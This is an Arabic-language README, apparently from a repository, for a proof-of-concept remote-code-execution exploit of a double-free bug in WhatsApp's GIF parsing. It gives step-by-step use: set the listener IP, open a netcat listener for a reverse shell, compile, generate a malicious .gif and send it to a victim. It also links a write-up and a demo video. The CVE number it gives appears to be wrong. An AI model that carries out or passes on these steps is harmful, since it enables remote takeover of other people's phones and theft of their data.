CVE-2020-11932

خطأ Double-Free في استغلال واتساب (PoC).

#ملاحظة: تأكد من ضبط عنوان IP للمستمع في ملف exploit.c للحصول على شيل

• nc -lvp 1337 أو أي منفذ آخر.

• ثم قم بالتجميع.

• make

• أو

• gcc -o exploit egif_lib.c exploit.c

• ثم قم بتشغيل ./exploit واحفظ المحتوى في .gif

• وأرسله إلى الضحية.

المصدر

https://awakened1712.github.io/hacking/hacking-whatsapp-gif-rce/.

فيديو الـ PoC

https://drive.google.com/file/d/1XP7K5zkKEhmbEONvRpjrkTQ5pwpBc6G_/view?usp=sharing

أنا لا أمتلك هذا، إذا كانت لديك مشكلات فيرجى التواصل مع المالك.